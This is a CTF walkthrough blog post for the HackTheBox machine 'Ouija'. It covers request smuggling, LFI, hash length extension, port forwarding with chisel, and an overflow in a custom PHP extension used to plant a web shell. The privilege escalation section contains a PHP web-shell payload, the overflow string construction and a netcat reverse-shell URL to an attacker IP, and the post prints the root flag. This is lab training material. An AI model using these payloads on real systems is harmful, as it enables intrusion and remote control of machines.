HTB Linux Insane: Ouija

Ouija is an Insane rated Linux machine on HTB.

Posted Jan 7, 2024

By Gregory Allegoet

5 min read

Nmap Scan

Initial Foothold

Enumerating HTTP (Port 80)

Default apache2 page (running ubuntu, apache 2.4.52).

Directory busting using Gobuster, exposed the server-status page.

Found subdomain gitea.ouija.htb in the server-status page.

Add both of the newly found domains to the hosts file.

ouija.htb

Landing page is html.

Possible usernames.

Gobuster for directory busting.

Admin page not accessible and returns a 403 Forbidden page.

Subdomain/vhost enumeration using ffuf.

gitea.ouija.htb

Landing page reveals a Gitea version 1.21.0.

We can register a user.

Once registered we have access to an explore page where we find 2 repos.

Leila’s repository reveals the following: HA proxy 2.2.16, Apache 2.4.52 & PHP8.2.

dev.ouija.htb

Landing page on this domain also returns a 403 Forbidden.

Enumerating HTTP (Port 3000)

Landing page on port 3000 returns JSON data.

Gobuster.

Exploring the /register page (registering is disabled).

Exploring /users we notice a missing ihash header.

In order to login we need a uname and upass.

Request smuggling

Since we know ha-proxy 2.2.16 is running we can try to use request smuggling. For this exploit to work we need to disable the “update content-length” setting in repeater.

Using the following payload in Burp we end up getting LFI.

Reading the init.sh file reveals the ihash we needed on port 3000 (don’t forget to play around with the content-length)4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1.

Download hash extender, modify the makefile and run the following command to get new signatures.

The newly obtained base64 encoded string can be used as identification and the new signature is used as ihash to request the API (make sure to base64 encode the “new string”).

This gives us another LFI, since we know from the init.sh file that the directory used is .config/bin/process_informations we can try to enumerate this directory further, since we are located in proc we can take a look at self/environ to check for users, the /file/get part can be found in app.js.

Found the leila user. Whilst enumerating the self folder on my local machine I found a symbolic link called root linking back to the / directory which can be used to navigate the entire filesystem.

Get flag.

Exposed SSH key:

Privilege Escalation

Netstat reveals a service running on port 9999.

leila@ouija:~$ netstat -npl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 172.17.0.1:6015         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6014         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6013         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6012         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6011         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6010         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6009         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6008         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6007         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6006         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6005         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6004         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6003         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6002         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6001         0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:6000         0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.17.0.1:3002         0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:9999          0.0.0.0:*               LISTEN      -

Looking further at the code we found that say_lverifier wasn’t defined in the PHP file. We also discovered a custom PHP extension.

Location:
/development/server-management_system_id_0
/usr/lib/php/20220829/lverifier.so

  
Code segment:

<?php
if(isset($_POST['username']) && isset($_POST['password'])){
//              system("echo ".$_POST['username']." > /tmp/LOG");
        if(say_lverifier($_POST['username'], $_POST['password'])){
                session_start();
                $_SESSION['username'] = $_POST['username'];
                $_SESSION['IS_USER_'] = "yes";
                $_SESSION['__HASH__'] = md5($_POST['username'] . "::" . $_POST['password']);
                header('Location: /core/index.php');
        }else{
                echo "<script>alert('invalid credentials')</alert>";
        }
}?>

Decompiling the lverifier.so file shows us the event_recorder call writes to a log file after validating user input.

We can use a buffer overflow/integer overflow attack on the username field which is a size_t type variable (max value of 65535).

Before being able to access the page we have to portforward.

  
# In kali
┌──(kali㉿kali)-[~/Downloads]
└─$ ./chisel server -p 3000 --reverse
2024/01/07 18:13:52 server: Reverse tunnelling enabled
2024/01/07 18:13:52 server: Fingerprint krwSVdUgiKr3xtUBdcVDItYB0Rl3yMjPos2tgJNuUJY=
2024/01/07 18:13:52 server: Listening on <http://0.0.0.0:3000>
2024/01/07 18:14:00 server: session#1: tun: proxy#R:9999=>9999: Listening

# On target
leila@ouija:/tmp$ ./chisel client 10.10.14.140:3000 R:9999:127.0.0.1:9999
2024/01/07 17:13:59 client: Connecting to ws://10.10.14.140:3000
2024/01/07 17:14:00 client: Connected (Latency 41.891538ms)

Using the following payload we can control the log file path and content.

  
leila@ouija:~$ mkdir "/tmp/miao/<?=\\`\\$_GET[0]\\`?>"

# In kali
┌──(kali㉿kali)-[~]
└─$ python3
Python 3.11.7 (main, Dec  8 2023, 14:22:46) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> a = '/tmp/miao/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/miao.php'
>>> len(a)
86
>>> '/'*714 + a  + 'A'*64738

Now let’s send our malicious request in Burp.

Verify if the miao.php file was created.

leila@ouija:/development/server-management_system_id_0$ ls
core  img  index.php  main.js  miao.php  README.md  style.css

Now we can browse to the miao.php page and we have RCE.

Rev shell payload:
<http://127.0.0.1:9999/miao.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fbash%20-i%202%3E%261%7Cnc%2010.10.14.140%204444%20%3E%2Ftmp%2Ff>

Root flag: 1e9f9c3acf3500b97cd9bd0f7f84ddd8

root@ouija:~# cat root.txt
1e9f9c3acf3500b97cd9bd0f7f84ddd8

Pwned!

Sources

CTF, HTB

Linux Insane

This post is licensed under CC BY 4.0 by the author.